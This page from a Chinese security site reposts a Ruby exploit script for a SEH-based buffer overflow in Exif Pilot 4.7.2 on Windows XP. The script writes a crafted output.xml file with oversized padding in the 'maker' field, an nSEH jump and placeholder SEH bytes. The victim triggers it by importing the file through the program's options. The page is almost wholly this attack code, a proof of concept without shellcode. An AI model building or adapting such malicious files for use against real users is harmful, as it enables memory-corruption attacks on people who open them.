首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exif Pilot 4.7.2 Buffer Overflow Exploit
来源:osanda[cat]unseen.is 作者:Jayathissa 发布时间:2015-01-22  
#!/usr/bin/env ruby
# Exploit Title: Exif Pilot SEH Based Buffer Overflow
# Version: version 4.7.2
# Tested on: Windows XP sp2
# Exploit Author: Osanda M. Jayathissa
# E-Mail: osanda[cat]unseen.is 
  
=begin
Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
The p/p/r addresses contains null characters. 
=end
require 'rex'
  
def generate_content(padding1_len, padding2_len)
  header = "\xff\xfe"
  header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<efls>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("     <eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <maker>");
  header << Rex::Text.to_unicode("");
  
  for i in 0..padding1_len
    header << Rex::Text.to_unicode("A");
  end
  
  header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
  header << Rex::Text.to_unicode("CCCC"); #SEH
  
  for i in 0..padding2_len
    header << Rex::Text.to_unicode("A");
  end
  
  header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
  header << Rex::Text.to_unicode("  </maker>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <model>abc</model>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <factor>0.000000</factor>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("    </eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("</efls>")
  header << "\x0d\x00\x0a\x00"
  return header
end
  
##
# main
##
  
filename = 'output.xml'
output_handle = File.new(filename, 'wb')
if !output_handle
  $stdout.puts "Cannot open the file #{filename} for writing!"
  exit -1
end
  
header = generate_content(1619, 7000)
  
$stdout.puts "Generating file #{filename}"
output_handle.puts   header
output_handle.close
  
$stdout.puts "Done!"
exit 0
#EOF

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GetGo Download Manager HTTP Re
·Symantec SDCS:SA / SCSP XSS /
·Microsoft Windows NtApphelpCac
·Arris VAP2500 tools_command.ph
·OS X 10.9.5 IOKit IntelAcceler
·Crystal Player 1.99 - Memory C
·OS X networkd "effective_audit
·Windows < 8.1 (32/64 bit) - Pr
·OS X 10.10 IOKit IntelAccelera
·libpng 1.6.15 Heap Overflow Ex
·MalwareBytes Anti-Exploit 1.03
·Cisco Ironport Appliances Priv
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved